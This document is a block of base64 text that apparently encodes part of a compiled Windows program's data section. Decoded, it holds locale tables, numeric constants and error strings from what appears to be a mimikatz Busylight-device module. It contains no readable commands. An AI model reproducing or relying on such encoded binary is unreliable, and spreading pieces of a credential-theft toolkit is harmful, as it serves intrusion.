AHoALQBsAGEAdABuAAAAAABiAGUALQBiAHkAAAAAAAAAYgBnAC0AYgBnAAAAAAAAAGIAbgAtAGkAbgAAAAAAAABiAHMALQBiAGEALQBsAGEAdABuAAAAAABjAGEALQBlAHMAAAAAAAAAYwBzAC0AYwB6AAAAAAAAAGMAeQAtAGcAYgAAAAAAAABkAGEALQBkAGsAAAAAAAAAZABlAC0AYQB0AAAAAAAAAGQAZQAtAGMAaAAAAAAAAABkAGUALQBkAGUAAAAAAAAAZABlAC0AbABpAAAAAAAAAGQAZQAtAGwAdQAAAAAAAABkAGkAdgAtAG0AdgAAAAAAZQBsAC0AZwByAAAAAAAAAGUAbgAtAGEAdQAAAAAAAABlAG4ALQBiAHoAAAAAAAAAZQBuAC0AYwBhAAAAAAAAAGUAbgAtAGMAYgAAAAAAAABlAG4ALQBnAGIAAAAAAAAAZQBuAC0AaQBlAAAAAAAAAGUAbgAtAGoAbQAAAAAAAABlAG4ALQBuAHoAAAAAAAAAZQBuAC0AcABoAAAAAAAAAGUAbgAtAHQAdAAAAAAAAABlAG4ALQB1AHMAAAAAAAAAZQBuAC0AegBhAAAAAAAAAGUAbgAtAHoAdwAAAAAAAABlAHMALQBhAHIAAAAAAAAAZQBzAC0AYgBvAAAAAAAAAGUAcwAtAGMAbAAAAAAAAABlAHMALQBjAG8AAAAAAAAAZQBzAC0AYwByAAAAAAAAAGUAcwAtAGQAbwAAAAAAAABlAHMALQBlAGMAAAAAAAAAZQBzAC0AZQBzAAAAAAAAAGUAcwAtAGcAdAAAAAAAAABlAHMALQBoAG4AAAAAAAAAZQBzAC0AbQB4AAAAAAAAAGUAcwAtAG4AaQAAAAAAAABlAHMALQBwAGEAAAAAAAAAZQBzAC0AcABlAAAAAAAAAGUAcwAtAHAAcgAAAAAAAABlAHMALQBwAHkAAAAAAAAAZQBzAC0AcwB2AAAAAAAAAGUAcwAtAHUAeQAAAAAAAABlAHMALQB2AGUAAAAAAAAAZQB0AC0AZQBlAAAAAAAAAGUAdQAtAGUAcwAAAAAAAABmAGEALQBpAHIAAAAAAAAAZgBpAC0AZgBpAAAAAAAAAGYAbwAtAGYAbwAAAAAAAABmAHIALQBiAGUAAAAAAAAAZgByAC0AYwBhAAAAAAAAAGYAcgAtAGMAaAAAAAAAAABmAHIALQBmAHIAAAAAAAAAZgByAC0AbAB1AAAAAAAAAGYAcgAtAG0AYwAAAAAAAABnAGwALQBlAHMAAAAAAAAAZwB1AC0AaQBuAAAAAAAAAGgAZQAtAGkAbAAAAAAAAABoAGkALQBpAG4AAAAAAAAAaAByAC0AYgBhAAAAAAAAAGgAcgAtAGgAcgAAAAAAAABoAHUALQBoAHUAAAAAAAAAaAB5AC0AYQBtAAAAAAAAAGkAZAAtAGkAZAAAAAAAAABpAHMALQBpAHMAAAAAAAAAaQB0AC0AYwBoAAAAAAAAAGkAdAAtAGkAdAAAAAAAAABqAGEALQBqAHAAAAAAAAAAawBhAC0AZwBlAAAAAAAAAGsAawAtAGsAegAAAAAAAABrAG4ALQBpAG4AAAAAAAAAawBvAGsALQBpAG4AAAAAAGsAbwAtAGsAcgAAAAAAAABrAHkALQBrAGcAAAAAAAAAbAB0AC0AbAB0AAAAAAAAAGwAdgAtAGwAdgAAAAAAAABtAGkALQBuAHoAAAAAAAAAbQBrAC0AbQBrAAAAAAAAAG0AbAAtAGkAbgAAAAAAAABtAG4ALQBtAG4AAAAAAAAAbQByAC0AaQBuAAAAAAAAAG0AcwAtAGIAbgAAAAAAAABtAHMALQBtAHkAAAAAAAAAbQB0AC0AbQB0AAAAAAAAAG4AYgAtAG4AbwAAAAAAAABuAGwALQBiAGUAAAAAAAAAbgBsAC0AbgBsAAAAAAAAAG4AbgAtAG4AbwAAAAAAAABuAHMALQB6AGEAAAAAAAAAcABhAC0AaQBuAAAAAAAAAHAAbAAtAHAAbAAAAAAAAABwAHQALQBiAHIAAAAAAAAAcAB0AC0AcAB0AAAAAAAAAHEAdQB6AC0AYgBvAAAAAABxAHUAegAtAGUAYwAAAAAAcQB1AHoALQBwAGUAAAAAAHIAbwAtAHIAbwAAAAAAAAByAHUALQByAHUAAAAAAAAAcwBhAC0AaQBuAAAAAAAAAHMAZQAtAGYAaQAAAAAAAABzAGUALQBuAG8AAAAAAAAAcwBlAC0AcwBlAAAAAAAAAHMAawAtAHMAawAAAAAAAABzAGwALQBzAGkAAAAAAAAAcwBtAGEALQBuAG8AAAAAAHMAbQBhAC0AcwBlAAAAAABzAG0AagAtAG4AbwAAAAAAcwBtAGoALQBzAGUAAAAAAHMAbQBuAC0AZgBpAAAAAABzAG0AcwAtAGYAaQAAAAAAcwBxAC0AYQBsAAAAAAAAAHMAcgAtAGIAYQAtAGMAeQByAGwAAAAAAHMAcgAtAGIAYQAtAGwAYQB0AG4AAAAAAHMAcgAtAHMAcAAtAGMAeQByAGwAAAAAAHMAcgAtAHMAcAAtAGwAYQB0AG4AAAAAAHMAdgAtAGYAaQAAAAAAAABzAHYALQBzAGUAAAAAAAAAcwB3AC0AawBlAAAAAAAAAHMAeQByAC0AcwB5AAAAAAB0AGEALQBpAG4AAAAAAAAAdABlAC0AaQBuAAAAAAAAAHQAaAAtAHQAaAAAAAAAAAB0AG4ALQB6AGEAAAAAAAAAdAByAC0AdAByAAAAAAAAAHQAdAAtAHIAdQAAAAAAAAB1AGsALQB1AGEAAAAAAAAAdQByAC0AcABrAAAAAAAAAHUAegAtAHUAegAtAGMAeQByAGwAAAAAAHUAegAtAHUAegAtAGwAYQB0AG4AAAAAAHYAaQAtAHYAbgAAAAAAAAB4AGgALQB6AGEAAAAAAAAAegBoAC0AYwBoAHMAAAAAAHoAaAAtAGMAaAB0AAAAAAB6AGgALQBjAG4AAAAAAAAAegBoAC0AaABrAAAAAAAAAHoAaAAtAG0AbwAAAAAAAAB6AGgALQBzAGcAAAAAAAAAegBoAC0AdAB3AAAAAAAAAHoAdQAtAHoAYQAAAAAAAAAAAAAAAADwPwAAAAAAAPD/AAAAAAAAAAAAAAAAAADwfwAAAAAAAAAAAAAAAAAA+P8AAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAD/AwAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAP///////w8AAAAAAAAAAAAAAAAAAPAPAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAA7lJhV7y9s/AAAAAAAAAAAAAAAAeMvbPwAAAAAAAAAANZVxKDepqD4AAAAAAAAAAAAAAFATRNM/AAAAAAAAAAAlPmLeP+8DPgAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAPA/AAAAAAAAAAAAAAAAAADgPwAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAGA/AAAAAAAAAAAAAAAAAADgPwAAAAAAAAAAVVVVVVVV1T8AAAAAAAAAAAAAAAAAANA/AAAAAAAAAACamZmZmZnJPwAAAAAAAAAAVVVVVVVVxT8AAAAAAAAAAAAAAAAA+I/AAAAAAAAAAAD9BwAAAAAAAAAAAAAAAAAAAAAAAAAAsD8AAAAAAAAAAAAAAAAAAO4/AAAAAAAAAAAAAAAAAADxPwAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAP////////9/AAAAAAAAAADmVFVVVVW1PwAAAAAAAAAA1Ma6mZmZiT8AAAAAAAAAAJ9R8QcjSWI/AAAAAAAAAADw/13INIA8PwAAAAAAAAAAAAAAAP////8AAAAAAAAAAAEAAAACAAAAAwAAAAAAAABDAE8ATgBPAFUAVAAkAAAA////////P0P///////8/wwAAAAAAAAAAAAAAkJ69Wz8AAABw1K9rPwAAAGCVuXQ/AAAAoHaUez8AAACgTTSBPwAAAFAIm4Q/AAAAwHH+hz8AAACAkF6LPwAAAPBqu44/AAAAoIMKkT8AAADgtbWSPwAAAFBPX5Q/AAAAAFMHlj8AAADQw62XPwAAAPCkUpk/AAAAIPn1mj8AAABww5ecPwAAAKAGOJ4/AAAAsMXWnz8AAACgAbqgPwAAACDhh6E/AAAAwAJVoj8AAADAZyGjPwAAAJAR7aM/AAAAgAG4pD8AAADgOIKlPwAAABC5S6Y/AAAAQIMUpz8AAADAmNynPwAAAND6o6g/AAAAwKpqqT8AAADQqTCqPwAAACD59ao/AAAAAJq6qz8AAACQjX6sPwAAABDVQa0/AAAAoHEErj8AAABwZMauPwAAALCuh68/AAAAwCgksD8AAADwJoSwPwAAAJDS47A/AAAAMCxDsT8AAABANKKxPwAAAGDrALI/AAAAEFJfsj8AAADgaL2yPwAAAFAwG7M/AAAA4Kh4sz8AAAAw09WzPwAAAKCvMrQ/AAAA0D6PtD8AAAAggeu0PwAAADB3R7U/AAAAYCGjtT8AAABAgP61PwAAAECUWbY/AAAA8F20tj8AAACw3Q63PwAAAAAUabc/AAAAYAHDtz8AAAAwphy4PwAAAAADdrg/AAAAMBjPuD8AAABA5ie5PwAAAJBtgLk/AAAAoK7YuT8AAADQqTC6PwAAAKBfiLo/AAAAcNDfuj8AAACw/Da7PwAAANDkjbs/AAAAMInkuz8AAABA6jq8PwAAAHAIkbw/AAAAEOTmvD8AAACgfTy9PwAAAIDVkb0/AAAAAOzmvT8AAACgwTu+PwAAALBWkL4/AAAAoKvkvj8AAADAwDi/PwAAAICWjL8/AAAAMC3gvz8AAACgwhnAPwAAAHBPQ8A/AAAAYL1swD8AAACADJbAPwAAAAA9v8A/AAAAEE/owD8AAADwQhHBPwAAAKAYOsE/AAAAgNBiwT8AAACQaovBPwAAABDns8E/AAAAMEbcwT8AAAAQiATCPwAAAOCsLMI/AAAA0LRUwj8AAADwn3zCPwAAAIBupMI/AAAAsCDMwj8AAACQtvPCPwAAAFAwG8M/AAAAII5Cwz8AAAAg0GnDPwAAAID2kMM/AAAAYAG4wz8AAADg8N7DPwAAADDFBcQ/AAAAcH4sxD8AAADQHFPEPwAAAHCgecQ/AAAAcAmgxD8AAAAAWMbEPwAAADCM7MQ/AAAAQKYSxT8AAAAwpjjFPwAAAFCMXsU/AAAAkFiExT8AAABAC6rFPwAAAHCkz8U/AAAAQCT1xT8AAADQihrGPwAAAFDYP8Y/AAAA0Axlxj8AAACAKIrGPwAAAIArr8Y/AAAA4BXUxj8AAADQ5/jGPwAAAHChHcc/AAAA4EJCxz8AAABAzGbHPwAAAKA9i8c/AAAAMJevxz8AAAAQ2dPHPwAAAFAD+Mc/AAAAIBYcyD8AAACQEUDIPwAAAMD1Y8g/AAAA4MKHyD8AAAAAeavIPwAAADAYz8g/AAAAoKDyyD8AAABwEhbJPwAAALBtOck/AAAAgLJcyT8AAAAA4X/JPwAAAFD5osk/AAAAcPvFyT8AAACw5+jJPwAAAPC9C8o/AAAAgH4uyj8AAABgKVHKPwAAAKC+c8o/AAAAcD6Wyj8AAADwqLjKPwAAACD+2so/AAAAMD79yj8AAAAwaR/LPwAAAEB/Qcs/AAAAcIBjyz8AAADwbIXLPwAAALBEp8s/AAAA8AfJyz8AAADAturLPwAAADBRDMw/AAAAUNctzD8AAABQSU/MPwAAAECncMw/AAAAMPGRzD8AAABAJ7PMPwAAAIBJ1Mw/AAAAEFj1zD8AAAAAUxbNPwAAAGA6N80/AAAAYA5YzT8AAAAAz3jNPwAAAHB8mc0/AAAAoBa6zT8AAADQndrNPwAAAPAR+80/AAAAMHMbzj8AAACgwTvOPwAAAFD9W84/AAAAYCZ8zj8AAADgPJzOPwAAAOBAvM4/AAAAgDLczj8AAADQEfzOPwAAAODeG88/AAAA0Jk7zz8AAACgQlvPPwAAAIDZes8/AAAAcF6azz8AAACQ0bnPPwAAAPAy2c8/AAAAoIL4zz8AAABQ4AvQPwAAAKB2G9A/AAAAMAQr0D8AAAAQiTrQPwAAAEAFStA/AAAA4HhZ0D8AAADw42jQPwAAAHBGeNA/AAAAgKCH0D8AAAAQ8pbQPwAAADA7ptA/AAAA8Hu10D8AAABQtMTQPwAAAGDk09A/AAAAMAzj0D8AAADAK/LQPwAAABBDAdE/AAAAQFIQ0T8AAABAWR/RPwAAADBYLtE/AAAAAE890T8AAADQPUzRPwAAAKAkW9E/AAAAcANq0T8AAABQ2njRPwAAAECph9E/AAAAYHCW0T8AAACgL6XRPwAAABDns9E/AAAAwJbC0T8AAACwPtHRPwAAAPDe39E/AAAAcHfu0T8AAABgCP3RPwAAAKCRC9I/AAAAUBMa0j8AAABwjSjSPwAAABAAN9I/AAAAMGtF0j8AAADQzlPSPwAAAAArYtI/AAAA0H9w0j8AAABAzX7SPwAAAGATjdI/AAAAIFKb0j8AAACgianSPwAAAOC5t9I/AAAA4OLF0j8AAACwBNTSPwAAAFAf4tI/AAAAwDLw0j8AAAAgP/7SPwAAAHBEDNM/AAAAsEIa0z8AAADgOSjTPwAAABAqNtM/AAAAUBNE0z8AAAAAAAAAAAAAAAAAAAAAjyCyIrwKsj3UDS4zaQ+xPVfSfugNlc49aW1iO0Tz0z1XPjal6lr0PQu/4TxoQ8Q9EaXGYM2J+T2fLh8gb2L9Pc292riLT+k9FTBC79iIAD6teSumEwQIPsTT7sAXlwU+AknUrXdKrT0OMDfwP3YOPsP2BkfXYuE9FLxNH8wBBj6/5fZR4PPqPevzGh4Legk+xwLAcImjwD1Rx1cAAC4QPg5uze4AWxU+r7UDcCmG3z1tozazuVcQPk/qBkrISxM+rbyhntpDFj4q6ve0p2YdPu/89zjgsvY9iPBwxlTp8z2zyjoJCXIEPqddJ+ePcB0+57lxd57fHz5gBgqnvycIPhS8TR/MARY+W15qEPY3Bj5LYnzxE2oSPjpigM6yPgk+3pQV6dEwFD4xoI8QEGsdPkHyuguchxY+K7ymXgEI/z1sZ8bNPbYpPiyrxLwsAis+RGXdfdAX+T2eNwNXYEAVPmAbepSL0Qw+fql8J2WtFz6pX5/FTYgRPoLQBmDEERc++AgxPC4JLz464SvjxRQXPppPc/2nuyY+g4TgtY/0/T2VC03Hmy8jPhMMeUjoc/k9bljGCLzMHj6YSlL56RUhPrgxMVlAFy8+NThkJYvPGz6A7YsdqF8fPuTZKflNSiQ+lAwi2CCYEj4J4wSTSAsqPv5lpqtWTR8+Y1E2GZAMIT42J1n+eA/4PcocyCWIUhA+anRtfVOV4D1gBgqnvycYPjyTReyosAY+qdv1G/haED4V1VUm+uIXPr/krr/sWQ0+oz9o2i+LHT43Nzr93bgkPgQSrmF+ghM+nw/pSXuMLD4dWZcV8OopPjZ7MW6mqhk+VQZyCVZyLj5UrHr8MxwmPlKiYc8rZik+MCfEEchDGD42y1oLu2QgPqQBJ4QMNAo+1nmPtVWOGj6anV6cIS3pPWr9fw3mYz8+FGNR2Q6bLj4MNWIZkCMpPoFeeDiIbzI+r6arTGpbOz4cdo7caiLwPe0aOjHXSjw+F41zfOhkFT4YZorx7I8zPmZ2d/Wekj0+uKCN8DtIOT4mWKruDt07Pro3AlndxDk+x8rr4OnzGj6sDSeCU841Prq5KlN0Tzk+VIaIlSc0Bz7wS+MLAFoMPoLQBmDEESc++IzttCUAJT6g0vLOi9EuPlR1CgwuKCE+yqdZM/NwDT4lQKgTfn8rPh6JIcNuMDM+UHWLA/jHPz5kHdeMNbA+PnSUhSLIdjo+44beUsYOPT6vWIbgzKQvPp4KwNKihDs+0VvC8rClID6Z9lsiYNY9Pjfwm4UPsQg+4cuQtSOIPj72lh7zERM2PpoPolyHHy4+pbk5SXKVLD7iWD56lQU4PjQDn+om8S8+CVaOWfVTOT5IxFb4b8E2PvRh8g8iyyQ+olM91SDhNT5W8olhf1I6Pg+c1P/8Vjg+2tcogi4MMD7g30SU0BPxPaZZ6g5jECU+EdcyD3guJj7P+BAa2T7tPYXNS35KZSM+Ia2ASXhbBT5kbrHULS8hPgz1OdmtxDc+/IBxYoQXKD5hSeHHYlHqPWNRNhmQDDE+iHahK008Nz6BPengpegqPq8hFvDGsCo+ZlvddIseMD6UVLvsbyAtPgDMT3KLtPA9KeJhCx+DPz6vvAfElxr4Paq3yxxsKD4+kwoiSQtjKD5cLKLBFQv/PUYJHOdFVDU+hW0G+DDmOz45bNnw35klPoGwj7GFzDY+yKgeAG1HND4f0xaeiD83PocqeQ0QVzM+9gFhrnnROz7i9sNWEKMMPvsInGJwKD0+P2fSgDi6Oj6mfSnLMzYsPgLq75k4hCE+5gggncnMOz5Q071EBQA4PuFqYCbCkSs+3yu2Jt96Kj7JboLIT3YYPvBoD+U9Tx8+45V5dcpg9z1HUYDTfmb8PW/fahn2Mzc+a4M+8xC3Lz4TEGS6bog5PhqMr9BoU/s9cSmNG2mMNT77CG0iZZT+PZcAPwZ+WDM+GJ8SAucYNj5UrHr8Mxw2PkpgCISmBz8+IVSU5L80PD4LMEEO8LE4PmMb1oRCQz8+NnQ5XgljOj7eGblWhkI0PqbZsgGSyjY+HJMqOoI4Jz4wkhcOiBE8Pv5SbY3cPTE+F+kiidXuMz5Q3WuEklkpPosnLl9N2w0+xDUGKvGl8T00PCyI8EJGPl5H9qeb7io+5GBKg39LJj4ueUPiQg0pPgFPEwggJ0w+W8/WFi54Sj5IZtp5XFBEPiHNTerUqUw+vNV8Yj19KT4Tqrz5XLEgPt12z2MgWzE+SCeq8+aDKT6U6f/0ZEw/Pg9a6Hy6vkY+uKZO/WmcOz6rpF+DpWorPtHtD3nDzEM+4E9AxEzAKT6d2HV6S3NAPhIW4MQERBs+lEjOwmXFQD7NNdlBFMczPk47a1WSpHI9Q9xBAwn6ID702eMJcI8uPkWKBIv2G0s+Vqn631LuPj69ZeQACWtFPmZ2d/Wekk0+YOI3hqJuSD7wogzxr2VGPnTsSK/9ES8+x9Gkhhu+TD5ldqj+W7AlPh1KGgrCzkE+n5tACl/NQT5wUCbIVjZFPmAiKDXYfjc+0rlAMLwXJD7y73l7745APulX3Dlvx00+V/QMp5METD4MpqXO1oNKPrpXxQ1w1jA+Cr3oEmzJRD4VI+OTGSw9PkKCXxMhxyI+fXTaTT6aJz4rp0Fpn/j8PTEI8QKnSSE+23WBfEutTj4K52P+MGlOPi/u2b4G4UE+khzxgitoLT58pNuI8Qc6PvZywS00+UA+JT5i3j/vAz4AAAAAAAAAAAAAAAAAAABAIOAf4B/g/z/wB/wBf8D/PxL6Aaocof8/IPiBH/iB/z+126CsEGP/P3FCSp5lRP8/tQojRPYl/z8IH3zwwQf/PwKORfjH6f4/wOwBswfM/j/rAbp6gK7+P2e38Ksxkf4/5FCXpRp0/j905QHJOlf+P3Ma3HmROv4/Hh4eHh4e/j8e4AEe4AH+P4qG+OPW5f0/yh2g3AHK/T/bgbl2YK79P4p/HiPykv0/NCy4VLZ3/T+ycnWArFz9Px3UQR3UQf0/Glv8oywn/T90wG6PtQz9P8a/RFxu8vw/C5sDiVbY/D/nywGWbb78P5HhXgWzpPw/Qor7WiaL/D8cx3Ecx3H8P4ZJDdGUWPw/8PjDAY8//D8coC45tSb8P+DAgQMHDvw/i42G7oP1+z/3BpSJK937P3s+iGX9xPs/0LrBFPms+z8j/xgrHpX7P4sz2j1sffs/Be6+4+Jl+z9PG+i0gU77P84G2EpIN/s/2YBsQDYg+z+kItkxSwn7PyivobyG8vo/XpCUf+jb+j8bcMUacMX6P/3rhy8dr/o/vmNqYO+Y+j9Z4TBR5oL6P20a0KYBbfo/SopoB0FX+j8apEEapEH6P6AcxYcqLPo/Akt6+dMW+j8aoAEaoAH6P9kzEJWO7Pk/LWhrF5/X+T8CoeRO0cL5P9oQVeokrvk/mpmZmZmZ+T//wI4NL4X5P3K4DPjkcPk/rnfjC7tc+T/g6db8sEj5P+Ysm3/GNPk/KeLQSfsg+T/VkAESTw35P/oYnI/B+fg/PzfxelLm+D/TGDCNAdP4Pzr/YoDOv/g/qvNrD7ms+D+ciQH2wJn4P0qwq/Dlhvg/uZLAvCd0+D8YhmEYhmH4PxQGeMIAT/g/3b6yepc8+D+gpIIBSir4PxgYGBgYGPg/BhhggAEG+D9AfwH9BfT3Px1PWlEl4vc/9AV9QV/Q9z98AS6Ss773P8Ps4Agirfc/izm2a6qb9z/IpHiBTIr3Pw3GmhEIefc/sak05Nxn9z9tdQHCylb3P0YXXXTRRfc/jf5BxfA09z+83kZ/KCT3Pwl8nG14E/c/cIELXOAC9z8XYPIWYPL2P8c3Q2v34fY/YciBJqbR9j8XbMEWbMH2Pz0aowpJsfY/kHJT0Tyh9j/A0Ig6R5H2PxdogRZogfY/GmcBNp9x9j/5IlFq7GH2P6NKO4VPUvY/ZCELWchC9j/ewIq4VjP2P0BiAXf6I/Y/lK4xaLMU9j8GFlhggQX2P/wtKTRk9vU/5xXQuFvn9T+l4uzDZ9j1P1cQkyuIyfU/kfpHxry69T/AWgFrBaz1P6rMI/FhnfU/7ViBMNKO9T9gBVgBVoD1PzprUDztcfU/4lJ8updj9T9VVVVVVVX1P/6Cu+YlR/U/6w/0SAk59T9LBahW/yr1PxX44uoHHfU/xcQR4SIP9T8VUAEVUAH1P5tM3WKP8/Q/OQUvp+Dl9D9MLNy+Q9j0P26vJYe4yvQ/4Y+m3T699D9bv1Kg1q/0P0oBdq1/ovQ/Z9Cy4zmV9D+ASAEiBYj0P3sUrkfhevQ/ZmBZNM5t9D+az/XHy2D0P8p2x+LZU/Q/+9liZfhG9D9N7qswJzr0P4cf1SVmLfQ/UVleJrUg9D8UFBQUFBT0P2ZlDtGCB/Q/+xOwPwH78z8Hr6VCj+7zPwKp5Lws4vM/xnWqkdnV8z/nq3uklcnzP1UpI9lgvfM/FDuxEzux8z8iyHo4JKXzP2N/GCwcmfM/jghm0yKN8z8UOIETOIHzP+5FydFbdfM/SAfe841p8z/4Kp9fzl3zP8F4K/scUvM/RhPgrHlG8z+yvFdb5DrzP/odau1cL/M/vxArSuMj8z+26+lYdxjzP5DRMAEZDfM/YALEKsgB8z9oL6G9hPbyP0vR/qFO6/I/l4BLwCXg8j+gUC0BCtXyP6AsgU37yfI/ETdajvm+8j9AKwGtBLTyPwXB85IcqfI/nhLkKUGe8j+lBLhbcpPyPxOwiBKwiPI/Tc6hOPp98j81J4G4UHPyPycB1nyzaPI/8ZKAcCJe8j+yd5F+nVPyP5IkSZIkSfI/W2AXl7c+8j/fvJp4VjTyPyoSoCIBKvI/ePshgbcf8j/mVUiAeRXyP9nAZwxHC/I/EiABEiAB8j9wH8F9BPfxP0y4fzz07PE/dLg/O+/i8T+9Si5n9djxPx2Boq0Gz/E/WeAc/CLF8T8p7UZASrvxP+O68md8sfE/lnsaYbmn8T+eEeAZAZ7xP5yijIBTlPE/2yuQg7CK8T8SGIERGIHxP4TWGxmKd/E/eXNCiQZu8T8BMvxQjWTxPw0ndV8eW/E/ydX9o7lR8T87zQoOX0jxPyRHNI0OP/E/Ecg1Ecg18T+swO2JiyzxPzMwXedYI/E/JkinGTAa8T8RERERERHxP4AQAb77B/E/EfD+EPD+8D+iJbP67fXwP5Cc5mv17PA/EWCCVQbk8D+WRo+oINvwPzqeNVZE0vA/O9q8T3HJ8D9xQYuGp8DwP8idJezmt/A/tewuci+v8D+nEGgKgabwP2CDr6bbnfA/VAkBOT+V8D/iZXWzq4zwP4QQQgghhPA/4uq4KZ978D/G90cKJnPwP/sSeZy1avA//Knx0k1i8D+GdXKg7lnwPwQ01/eXUfA/xWQWzElJ8D8QBEEQBEHwP/xHgrfGOPA/Gl4ftZEw8D/pKXf8ZCjwPwgEAoFAIPA/N3pRNiQY8D8QEBAQEBDwP4AAAQIECPA/AAAAAAAA8D8AAAAAAAAAAGxvZzEwAAAAELMHgAEAAACwsweAAQAAACUwNGh1JTAyaHUlMDJodSUwMmh1JTAyaHUlMDJodVoAAAAAAAAAAABCAHUAcwB5AGwAaQBnAGgAdAAgAEwAeQBuAGMAIABtAG8AZABlAGwAIAAoAHcAaQB0AGgAIABiAG8AbwB0AGwAbwBhAGQAZQByACkAAAAAAEIAdQBzAHkAbABpAGcAaAB0ACAAVQBDACAAbQBvAGQAZQBsAAAAAABrAHUAYQBuAGQAbwBCAE8AWAAAAAAAAABCAHUAcwB5AGwAaQBnAGgAdAAgAE8AbQBlAGcAYQAgAG0AbwBkAGUAbAAAAAAAAABCAHUAcwB5AGwAaQBnAGgAdAAgAEwAeQBuAGMAIABtAG8AZABlAGwAIAAoAE0AaQBjAHIAbwBjAGgAaQBwACAASQBkACkAAABGAHUAagBpAHQAcwB1ACAATQBNAE0AMgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABIAGkAZABQAF8ARwBlAHQAQwBhAHAAcwAgACgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACAAKABoAEsAZQBlAHAAQQBsAGkAdgBlAFQAaAByAGUAYQBkACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABoAEIAdQBzAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABkAGUAdgBpAGMAZQBIAGEAbgBkAGwAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAUwBlAHQAdQBwAEQAaQBHAGUAdABDAGwAYQBzAHMARABlAHYAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABXAHIAaQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwBzAGUAbgBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAUwBpAHoAZQAgAGkAcwAgAG4AbwB0ACAAdgBhAGwAaQBkAGUAIAAoAHMAaQB6ACAAPQAgACUAdQAsACAAbQBhAHgAIAA9ACAAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwBzAGUAbgBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAASQBuAHYAYQBsAGkAZAAgAEQAZQB2AGkAYwBlAC8AQgB1AHMAeQAgAEgAYQBuAGQAbABlAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABSAGUAYQBkAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIAAlAHUAIABiAHkAdABlACgAcwApACAAcgBlAGEAZABlAGQALAAgACUAdQAgAHcAYQBuAHQAZQBkAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcgBlAGEAZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAEkAbgB2AGEAbABpAGQAIABEAGUAdgBpAGMAZQAvAEIAdQBzAHkAIABIAGEAbgBkAGwAZQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwByAGUAYQBkAF8AaQBuAGYAbwBzACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAGQAYQB0AGEAWwAwAF0AIABpAHMAIABuAG8AdAAgAE4AVQBMAEwAIAAoADAAeAAlADAAMgB4ACkACgAAAAAAAAAAALsnyjsOAAAAsLgEgAEAAAC7J8s7BgAAAAC5BIABAAAAuyfMOwEAAAAouQSAAQAAALsnzTsOAAAAQLkEgAEAAADYBEj4BgAAAHC5BIABAAAA+AsgEAIAAAC4uQSAAQAAAABkZAVwQQAARgcCAQAAAACwSAWAAQAAAJgeBYABAAAAAAAAAAAAAAAAAAAAAAAAAOiTBYABAAAAAYAAAAAAAAAAlAWAAQAAAAKAAAAAAAAAGJQFgAEAAAADgAAAAAAAADCUBYABAAAABIAAAAAAAABIlAWAAQAAAAWAAAAAAAAAYJQFgAEAAAAAJAAAAAAAAICUBYABAAAAACIAAAAAAACglAWA